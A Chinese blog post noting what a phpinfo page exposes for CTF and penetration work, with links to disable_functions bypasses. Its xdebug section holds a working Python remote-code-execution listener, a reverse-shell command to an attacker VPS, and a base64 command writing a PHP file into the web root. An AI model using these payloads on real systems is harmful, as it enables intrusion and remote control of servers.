比赛中或者渗透中如果遇到phpinfo,从里面发现的一些线索能够对后续的渗透和解题帮助很大,这里记录总结一下目前网上比较常用的的。

下图来源于:https://seaii-blog.com/index.php/2017/10/25/73.html

1.绝对路径(_SERVER["SCRIPT_FILENAME"])

2.支持的程序

可以看看服务器是否加载了redis、memcache、mongodb、mysql、curl,如果加载了,那么就可以适当往这几个方面考虑,还可以看看是否支持gopher、是否启了fastcgi。

3.泄漏真实ip(_SERVER["SERVER_ADDR"]或SERVER_ADDR)

可以查查旁站、c段什么的,直接无视cdn

4.一些敏感配置

allow_url_include、allow_url_fopen、disable_functions、open_basedir、short_open_tag等等

5.Loaded Configuration File(配置文件位置)

这一栏表明了 php.ini 这个 php 配置文件的位置,在有文件读取的情况下可以进行读取,在渗透中还是很有帮助的。

6.Registered PHP Streams(支持的流)

这个在文件包含、反序列化还有一些关键的 bypass 的时候非常有用

利用phar/zip协议绕过有后缀的文件包含:include zip:///var/www/html/upload/1.gif#1.php

7.open_basedir

这个选项设置了文件读取的时候的目录限制

PHP绕过open_basedir列目录的研究

php5全版本绕过open_basedir读文件脚本

绕过open_basedir读文件脚本

8.short_open_tag

判断服务器是不是支持短标签,这在写 shell 的时候很有帮助

9.phar

文件包含还有反序列化重点关注

10.SESSION

session.save_path=”” –设置session的存储路径
session.save_handler=”” –设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen –指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler string –定义用来序列化/反序列化的处理器名字。默认使用php

这个也容易导致session处理器不同而导致的反序列化漏洞,之前文章里也说过

https://www.cnblogs.com/wfzWebSecuity/p/11156279.html

11.server api

php解释器与应用层的桥梁。

.FPM/FastCGI 多用于和nginx通信,当然也可用于其他web中间件。
.Apache 2.0 Handler php为apache提供的专用SAPI
.Command Line Interface php命令行

12.disable_functions

有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。

有时候我们上传了一个webshell却不能用,有很大可能是管理员做了配置,禁用了php执行系统命令的函数。

绕过的方式有这么几个:

黑名单绕过:

百密一疏,寻找黑名单中漏掉的函数,上图中禁用的函数算是比较全的了。
比如在编译php时如果加了-–enable-pcntl选项,就可以使用pcntl_exec()来执行命令。

渗透技巧:利用pcntl_exec突破disable_functions

利用ImageMagick漏洞绕过disable_function

利用环境变量LD_PRELOAD来绕过php disable_function

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

利用扩展库绕过

http://www.91ri.org/8700.html

综合:

https://github.com/l3m0n/Bypass_Disable_functions_Shell

13.enable_dl

上面说的利用扩展库绕过disable_functions,需要使用dl()并且开启这个选项

14.xdebug 远程rce

漏洞利用条件:

xdebug.remote_connect_back 的回连是通过自定义 Header(xdebug.remote_addr_header)、X-Forwarded-For 和 Remote-Addr 三个确定的,依次 fallback,所以即使配置了自定义 Header,也可以通过设置 XFF 头来指定服务器连接,就是让被调试的服务器去连接我们的恶意主机,此时我们的恶意主机就可以和目标服务器进行交互,并且因为是xdebug是支持dbgp的,所以可以此时让恶意主机发送恶意指令到目标服务器让其执行

需要在目标站的phpinfo中看到:

xdebug.remote_connect_back => On => On
xdebug.remote_cookie_expire_time => 3600 => 3600
xdebug.remote_enable => On => On

即可使用Xdebug进行连接,尝试直接命令执行

利用exp如下:rr师傅的

import socket

ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept() while True:
client_data = conn.recv(1024)
print(client_data) data = raw_input('>> ')
conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

首先可以测试一下是否可以利用,直接使用curl

然后执行exp,监听本地9000端口,发送恶意payload,访问vps

反弹shell:

此时直接用

system("bash -i >& /dev/tcp/vps_id/port 0>&1")没弹回来,但是能curl到,换了个payload,尝试往网站根目录下写shell:

用payload如下,这里用base64转一下,防止payload引号发生冲突,冲突写不进去

shell_exec("echo 'ZWNobyAiPD9waHAgcGhwaW5mbygpOz8+IiA+IC92YXIvd3d3L2h0bWwvcy5waHA=' | base64 -d | bash");

看下/var/www/html下面:

有了上面base64绕过,我又回来试了一下能不能反弹shell,还是用system("bash -i >& /dev/tcp/vps_id/port 0>&1"),把反弹shell的payload进行编码一下:

然后vps上。。。。终于弹回来了,exp没问题,要自己调试一下paylaod,适当把payload编码一下挺有用的

15.opcache

opcache是缓存文件,他的作用就类似于web项目中的静态文件的缓存, 比如我们加载一个网页, 浏览器会自动帮我们把jpg, css缓存起来, 唯独php没有缓存, 每次均需要open文件, 解析代码, 执行代码这一过程, 而opcache即可解决这个问题, 代码会被高速缓存起来, 提升访问速度。

如果目标网站

opcache.enable => On

即可判断开启了opcache,即有开启了潜在的攻击面

详情见0ctf ezdoor解析

https://skysec.top/2018/04/11/0ctf-ezdoor/

https://skysec.top/2018/04/04/amazing-phpinfo/#OPCACHE

https://www.angelwhu.com/blog/?p=438

16.imap

https://github.com/vulhub/vulhub/blob/master/php/CVE-2018-19518/README.md

参考(侵删):

https://paper.seebug.org/397/

https://www.k0rz3n.com/2019/02/12/PHPINFO%20%E4%B8%AD%E7%9A%84%E9%87%8D%E8%A6%81%E4%BF%A1%E6%81%AF/

http://www.am0s.com/penetration/322.html

https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/

https://github.com/vulhub/vulhub/tree/master/php/xdebug-rce

https://seaii-blog.com/index.php/2017/10/25/73.html

phpinfo中敏感信息记录的更多相关文章

  1. 对Java配置文件中敏感信息进行加解密的工具类

    在 JavaEE 配置文件中,例如 XML 或者 properties 文件,由于某些敏感信息不希望普通人员看见,则可以采用加密的方式存储,程序读取后进行解密. 常见的如: 数据库用户密码,短信平台用 ...

  2. Spring Boot 配置中的敏感信息如何保护?

    在之前的系列教程中,我们已经介绍了非常多关于Spring Boot配置文件中的各种细节用法,比如:参数间的引用.随机数的应用.命令行参数的使用.多环境的配置管理等等. 这些配置相关的知识都是Sprin ...

  3. ASP.NET Core 5.0 中读取Request中Body信息

    ASP.NET Core 5.0 中读取Request中Body信息 记录一下如何读取Request中Body信息 public class ValuesController : Controller ...

  4. [转载]从phpinfo中能获取哪些敏感信息

    phpinfo()想必的最熟悉的了,在搭建环境之后都会随后写一个 phpinfo()来测试环境是否正常,很多人测试完毕忘记删除就开始部署环境了,这就造成了一些敏感信息的泄漏.那么我们能从 phpinf ...

  5. jboss eap 6.2+ 版本中 加密datasource密码等敏感信息

    默认情况下,在jboss eap 6.2+ 管理控制台创建datasource后,会在standalone.xml(独立模式)或host.xml(域模式)中以明文保存相关敏感信息. 这会给服务器留下安 ...

  6. ASP.NET MVC中错误日志信息记录

    MVC中有一个处理异常的过滤器 HandleErrorAttribute 1.新建一个类继承自 HandleErrorAttribute,然后重写OnException这个方法 public clas ...

  7. 解决MVC Jquery"此请求已被阻止,因为当用在 GET 请求中时,会将敏感信息透漏给第三方网站"的问题

    在ASP.NET MVC项目中,使用AJAX向控制器发送GET请求获取JSON数据时,出现这个错误:"此请求已被阻止,因为当用在 GET 请求中时,会将敏感信息透漏给第三方网站.若要允许 G ...

  8. 在 .NET Core 中使用 DiagnosticSource 记录跟踪信息

    前言 最新一直在忙着项目上的事情,很久没有写博客了,在这里对关注我的粉丝们说声抱歉,后面我可能更多的分享我们在微服务落地的过程中的一些经验.那么今天给大家讲一下在 .NET Core 2 中引入的全新 ...

  9. python找递归目录中文件,并移动到一个单独文件夹中,同时记录原始文件路径信息

    运营那边有个需求. 下载了一批视频文件,由于当时下载的时候陆陆续续创建了很多文件夹,并且,每个文件夹下面还有子文件夹以及视频文件,子文件夹下面有视频文件或者文件夹 现在因为需要转码,转码软件只能对单个 ...

随机推荐

  1. ant-design的Table组件自定义空状态

    Table,是antd中一个我们经常使用的组件,在官方文档中给出了非常详细的实例以及API, 但在我们在使用过程中可能需要根据项目的要求来定制空状态时的展示. 什么是空状态呢? 在antd的官方文档中 ...

  2. Flutter 35: 图解自定义 View 之 Canvas (二)

    小菜前几天整理了以下 Canvas 的部分方法,今天小菜继续学习 Canvas 第二部分. drawXXX drawShadow 绘制阴影 drawShadow 用于绘制阴影,第一个参数时绘制一个图形 ...

  3. Jerry和您聊聊Chrome开发者工具

    Chrome开发者工具是Jerry日常工作使用的三大调试器之一.虽然工具名称前面带了个"开发者", 但是它对非开发人员仍然有用.不信? 用Chrome打开我们常用的网站,按F12, ...

  4. jQuery EasyUI简介

    jQuery EasyUI 是一个基于 jQuery 的框架,集成了各种用户界面插件. jQuery EasyUI是一组基于jQuery的UI插件集合体,而jQuery EasyUI的目标就是帮助we ...

  5. Python学习记录7-继承

    面向对象的三大特性 封装 继承 多态 封装 封装就是对对象的成员进行访问限制 封装的三个级别: 公开,public 受保护的,protected 私有的,private public,private, ...

  6. C# Winform 禁止一个进程运行多次

    禁止一个进程运行多次 using System; using System.Windows.Forms; namespace StartExe { static class Program { /// ...

  7. python django中的orm外键级联删除

    今天添加了一个路由表,路由表做外键,然后添加了几个组,路由表为组的外键,当我使用删除功能对路由表进行删除时,竞然将我的组也相当的删除了:尽管这是测试,但放到生产环境中还是会发生意外的:这个问题要解决: ...

  8. Tensorflow目录

    0.Tensorflow安装 1.创建会话,启动会话 2.变量 3.Fech_feed 4.线性回归 5.非线性回归 6.MNIST数据集简单分类 7.交叉熵 8.Dropout 9.正则化 10.优 ...

  9. centos wireshark

    root安装: yum install wireshark yum install wireshark-gnome wireshark error: There are no interfaces o ...

  10. ubuntu18系统 Qt Error BadAccess

    现象:在ubuntu18中报错 X Error: BadAccess (attempt to access private resource denied) 10  Extension:    130 ...